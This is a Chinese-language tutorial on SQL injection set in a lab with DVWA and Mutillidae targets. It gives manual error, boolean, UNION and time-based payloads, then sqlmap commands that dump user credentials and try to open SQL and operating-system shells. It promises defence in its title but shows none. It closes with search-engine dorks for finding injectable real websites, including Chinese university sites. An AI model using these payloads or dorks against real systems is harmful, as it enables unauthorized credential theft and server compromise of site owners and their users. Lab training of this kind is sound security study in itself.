SQL注入攻击及防御

1
2
3
4
5
6
在owasp年度top 10 安全问题中,注入高居榜首。SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而在这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

- 对于web应用程序而言,用户核心数据存储在数据中,例如MySQL、SQL Server、Oracle、MSSQL等
- 通过SQL注入攻击,可以获取、修改、删除数据库信息,并且通过提权来控制web服务器等其他操作
- SQL注入即攻击者通过构造特殊的SQL语句,入侵目标系统,致使后台数据库泄露数据的过程
- 因为SQL注入漏洞造成的严重危害性,所以常年稳居 OWASP TOP10的榜首!

实验环境

1
2
目标靶机:OWASP_Broken_Web_Apps_VM_1.2
IP:192.168.203.22
1
2
测试渗透机:kali-linux-2018-4-vm-amd64
IP:192.168.203.19

SQL注入危害

  • 拖库导致用户数据泄露
  • 危害web等应用的安全
  • 失去操作系统的控制权
  • 用户信息被非法买卖
  • 危害企业及国家的安全

SQL基础(查)

查看数据库
1
mysql> SHOW DATABASES;

查看数据库版本
1
mysql> SELECT VERSION();

查看当前库
1
mysql> SELECT DATABASE();

查看当前用户
1
mysql> SELECT USER();

查看当前时间
1
mysql> SELECT NOW();

选择数据库
1
2
mysql> USE dvwa; 
//dvwa为你要选择的数据库名

查看库中的表
1
mysql> SHOW TABLES;

查看表结构
1
2
3
mysql> DESCRIBE users;

mysql> DESC users;

查看表的详细属性
1
mysql> SHOW CREATE TABLE USERS\G

查看表记录
1
2
3
mysql> SELECT * FROM USERS;
// * 代表所有字段(可以指定字段)
// USERS代表要查询表


1
2
其他库 mysql.user
mysql> SELECT user,password,host FROM mysql.user ;


1
2
3
4
WHERE条件查询 
mysql> SELECT user,password,host FROM mysql.user WHERE user='root';
mysql> SELECT user,password,host FROM mysql.user WHERE user='root' and host='localhost';
mysql> SELECT user,password,host FROM mysql.user WHERE user='root' or host='localhost';

infomation_schema表
1
2
3
INFORMATION_SCHEMA提供了访问数据库元数据的方式。

元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。


1
2
//查看数据库库名、表名
mysql> SELECT * FROM information_schema.TABLES\G


1
2
//查看数据库库名、表名、字段名
mysql> SELECT * FROM information_schema.columns\G


1
2
3
mysql> SELECT DISTINCT TABLE_SCHEMA FROM information_schema.TABLES;
//DISTINCT 去重
//等同于 SHOW DATABASES;


1
2
mysql> SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='dvwa';
//等同于 SHOW TABLES;

SQL注入流程

  • 判断是否存在SQL注入漏洞
  • 判断操作系统、数据库和web应用的类型
  • 获取数据库信息,包括管理员信息以及拖库
  • 加密信息破解,sqlmap可自动破解
  • 提升权限,获得sql-shell、os-shell、登录应用后台

手动注入实战(基础)

基于错误的注入
1
2
3
错误注入的思路是通过构造特殊的SQL语句,根据得到的错误信息,确认SQL注入点;
通过数据库报错信息,也可以探测到数据库的类型和其他有用信息;
通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型;


从查看源代码文件
在低安全模式下,没有做安全过滤:
直接将获取到的值代入数据库语句

当前所使用的库为dvwa
搜索框正常输入1

1
2
生成的sql语句:
mysql> SELECT first_name,last_name FROM dvwa.users where user_id='1';

搜索框输入单引号’,报出语法错误

说明了它能够接受单引号(没有过滤),只是试探性的试试看是否存在注入点

1
2
生成的sql语句:
mysql> SELECT first_name,last_name FROM dvwa.users where user_id=''';

1
2
页面报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
基于布尔的注入
1
布尔逻辑注入的思路是闭合SQL语句、构造orand逻辑语句、注释多余的代码;


1
2
3
4
5
6
7
8
9
原始语句:mysql> SELECT first_name,last_name FROM dvwa.users where user_id='$id';

SQL注入语句:' or 1 = 1 -- '
生成的SQL语句:
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id='' or 1 = 1 -- ''
说明:
第一个单引号' 用于闭合前面的语句(条件)
or 1 = 1 代表为真的条件
-- 将注释后面的语句

基于UNION注入
1
2
UNION语句用于联合前面的SELECT查询语句,合并查询更多信息;
一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//猜测数据列数
' UNION SELECT 1 -- '
' UNION SELECT 1,2 -- '
生成的SQL语句:
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT 1 -- ''
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT 1,2 -- ''

//获得当前数据库及用户信息
'UNION SELECT VERSION(), DATABASE() -- '
'UNION SELECT USER(), DATABASE() -- '
生成的SQL语句:
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT VERSION(),DATABASE() -- ''
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT USER(),DATABASE() -- ''
说明:
VERSION() 获取数据库版本信息
DATABASE() 获取当前数据库名
USER() 获取当前用户名

//查询数据中的所有表
information_schema数据库是MySQL自带的,它提供了数据元数据的访问方式。
元数据包括数据的库名、表名、列数据类型、访问权限、字符集等基础信息。
网站注入时,MySQL 5.0以上以及5.0一下的区别?
5.0以下没有information_schema
5.0以下是多用户单操作,5.0以上是多用户多操做。
SQL注入语句解析:
mysql> SELECT * FROM INFORMATION_SCHEMA.TABLES\G

//查询所有库名
'UNION SELECT TABLE_SCHEMA,1 FROM INFORMATION_SCHEMA.tables -- '
生成的SQL语句:
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT TABLE_SCHEMA,1 FROM INFORMATION_SCHEMA.tables -- ''
//查询所库中所有表名
'UNION SELECT table_name,1 FROM INFORMATION_SCHEMA.tables -- '
生成的SQL语句:
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT table_name,1 FROM INFORMATION_SCHEMA.tables -- ''

//同时查询表名以及对应库名
'UNION SELECT TABLE_SCHEMA,table_name FROM INFORMATION_SCHEMA.tables -- '
生成的SQL语句:
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT TABLE_SCHEMA,table_name FROM INFORMATION_SCHEMA.tables -- ''




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
原始语句:mysql> SELECT first_name,last_name FROM dvwa.users where user_id='$id';

//查询数据表
'UNION SELECT column_name,1 FROM INFORMATION_SCHEMA.columns WHERE table_name='users' -- '
'UNION SELECT column_name,1 FROM INFORMATION_SCHEMA.columns WHERE table_name='USER_PRIVILEGES' -- '
'UNION SELECT column_name,1 FROM INFORMATION_SCHEMA.columns WHERE table_name='SCHEMA_PRIVILEGES' -- '
生成的SQL语句:
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT column_name,1 from INFORMATION_SCHEMA.columns WHERE table_name='users' -- ''
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT column_name,1 from INFORMATION_SCHEMA.columns WHERE table_name='USER_PRIVILEGES' -- ''
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT column_name,1 from INFORMATION_SCHEMA.columns WHERE table_name='SCHEMA_PRIVILEGES' -- ''
//查询数据列
'UNION SELECT NULL, user FROM users -- '
'UNION SELECT NULL, password FROM usedrs -- '
'UNION SELECT user, password FROM users -- '
'UNION SELECT password, concat(first_name,' ' ,last_name,' ',user) FROM users -- '
生成的SQL语句:
mysql> use dvwa;
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT NULL, user FROM users -- ''
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT NULL, password FROM users -- ''
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT user, password FROM users -- ''
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id=''UNION SELECT password, concat(first_name,' ' ,last_name,' ',user) FROM users -- ''
说明:
concat() 将多个字符串连接成一个字符串。
group_concat() 该函数返回带有来自一个组的连接的非NULL值的字符串结果。




基于时间的盲注
1
有些数据库错误做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep()函数来探测注入点。
1
2
3
4
5
6
//sleep()函数
1' and sleep(5) -- '
生成的SQL语句:
mysql> SELECT first_name,last_name FROM dvwa.users WHERE user_id='1' and sleep(5) -- ''
说明:
sleep() 让sql执行的时候sleep(pause)一段时间。



SQLmap自动化注入(基础)

SQL注入比较好用的工具,首推开源工具SQLmap。SQLmap是一个国内外著名的安全稳定性测试工具,可以用来自动化检测,利用SQL注入漏洞,获取数据库服务器权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试功能选项,包括获取数据中存储的数据,访问操作文件甚至可以通过外带数据连接方式执行操作系统命令。

SQLmap支持MySQL,Oracle,PostgreSQL,Microsoft,SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

常见参数及语句解析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
--batch 批处理(自动化完成)
--level 等级
--risk 风险
--dbms 指定数据库类型
--proxy=PROXY 指定代理
--dbs 获取所有数据库
--users 获取用户
--current-db 获取当前数据库
--current-user 当前用户
--sql--shell 创建一个sql的shell
--os-shell 创建一个对方操作系统的shell,远程执行系统命令
--os-cmd=OSCMD 执行一句系统命令
--cookie=COOKIE 指定测试时使用的cookie,通常在一些需要登录的站点会使用
--dump-all 查询全部数据
--dump-all --exclude-sysdbs 查询全部数据,排除系统库
-h 查看帮助
-hh 查看全部帮助
–data=DATA 通过POST发送的数据字符串
–smart 有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。
-p 指定某个参数
-u 指定url
-x 站点地图,提交给sql一个xml文件
-r 可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标
-g 使用google引擎搜索类似的网址,并且多目标检测
-D "database_name" --tables 获取某个库里的表数据
-D "database_name" -T "table_name" --columns 某个库某个表的列信息
-D "database_name" -T "table_name" --dump 查询指定某个库某个表里全部数据
-D "database_name" -T "table_name" -C "username,password" --dump 查询指定字段数据
...

示例步骤:

1
root@kali:~# sqlmap -u "http://192.168.203.22/mutillidae/index.php?page=user-info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" -p username --batch


1
2
//获取所有数据库
root@kali:~# sqlmap -u "http://192.168.203.22/mutillidae/index.php?page=user-info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" -p username --batch --dbs


1
2
//获取当前数据库
root@kali:~# sqlmap -u "http://192.168.203.22/mutillidae/index.php?page=user-info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" --batch --current-db


1
2
//获取当前用户
root@kali:~# sqlmap -u "http://192.168.203.22/mutillidae/index.php?page=user-info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" --batch --current-user


1
2
//获取数据库表
root@kali:~# sqlmap -u "http://192.168.203.22/mutillidae/index.php?page=user-info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" --batch -D 'nowasp' --tables


1
2
//获取表的字段
root@kali:~# sqlmap -u "http://192.168.203.22/mutillidae/index.php?page=user-info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" --batch -D 'nowasp' -T 'accounts' --columns


1
2
//获取表中数据
root@kali:~# sqlmap -u "http://192.168.203.22/mutillidae/index.php?page=user-info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" --batch -D 'nowasp' -T 'accounts' -C 'username,password' --dump

需要带cookie才能访问的注入页面,–cookie=””

Cookie:Cookie意为“甜饼”,是由W3C组织提出,最早由Netscape社区发展的一种机制。目前Cookie已经成为标准,所有的主流浏览器如IE、Netscape、Firefox、Opera等都支持Cookie。

由于HTTP是一种无状态的协议,服务器单从网络连接上无从知道客户身份。怎么办呢?就给客户端们颁发一个通行证吧,每人一个,无论谁访问都必须携带自己通行证。这样服务器就能从通行证上确认客户身份了。

示例步骤:

获取cookie(firefox插件:Cookies Quick Manager、Cookiebro等)

1
@kali:~# sqlmap -u "http://192.168.203.22/dvwa/vulnerabilities/sqli/?id=111&Submit=Submit#" --batch --cookie "PHPSESSID=0sctqa3r895dnmb4f9vt4r14s1;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada;showhints=1"


1
2
获取当前数据库
root@kali:~# sqlmap -u "http://192.168.203.22/dvwa/vulnerabilities/sqli/?id=111&Submit=Submit#" --batch --cookie "PHPSESSID=0sctqa3r895dnmb4f9vt4r14s1;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada;showhints=1" --current-db


1
2
//获取数据库表
root@kali:~# sqlmap -u "http://192.168.203.22/dvwa/vulnerabilities/sqli/?id=111&Submit=Submit#" --batch --cookie "PHPSESSID=0sctqa3r895dnmb4f9vt4r14s1;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada;showhints=1" -D 'dvwa' --tables


1
root@kali:~# sqlmap -u "http://192.168.203.22/dvwa/vulnerabilities/sqli/?id=111&Submit=Submit#" --batch --cookie "PHPSESSID=0sctqa3r895dnmb4f9vt4r14s1;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada;showhints=1" -D 'dvwa' -T 'users' --columns


1
root@kali:~# sqlmap -u "http://192.168.203.22/dvwa/vulnerabilities/sqli/?id=111&Submit=Submit#" --batch --cookie "PHPSESSID=0sctqa3r895dnmb4f9vt4r14s1;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada;showhints=1" -D 'dvwa' -T 'users' -C 'user,password' --dump

权限提升
1
2
//与数据库交互 --sql-shell
root@kali:~# sqlmap -u "http://192.168.203.22/dvwa/vulnerabilities/sqli/?id=111&Submit=Submit#" --batch --cookie "PHPSESSID=0sctqa3r895dnmb4f9vt4r14s1;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada;showhints=1" --sql-shell


1
sql-shell> select * from users;

1
2
3
4
5
6
7
8
//与操作系统交互--os-shell
需要一定的条件,否则无法创建os-shell
需要一定的条件:
网站必须是root权限 # --is-dba
攻击者需要知道网站的绝对路径 # 可以利用SQL语言查看@@datadir
GPC为off,php主动转义的功能关闭# php.ini文件
secure_file_priv为空白 #查询select @@secure_file_priv
root@kali:~# sqlmap -u "http://192.168.203.22/dvwa/vulnerabilities/sqli/?id=111&Submit=Submit#" --batch --cookie "PHPSESSID=0sctqa3r895dnmb4f9vt4r14s1;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada;showhints=1" --os-shell

提示失败

实例

通过Google搜索可能存在注入的页面

inurl:.php?id=

inurl:.jsp?id=

inurl:.asp?id=

inurl:/admin/login.php

inurl:.php?id= intitle:美女

通过百度搜索可能在的注入页面

inurl:news.asp?id= site:edu.cn

inurl:news.php?id= site:edu.cn

inurl:news.aspx?id= site:edu.cn

-本文结束感谢您的阅读-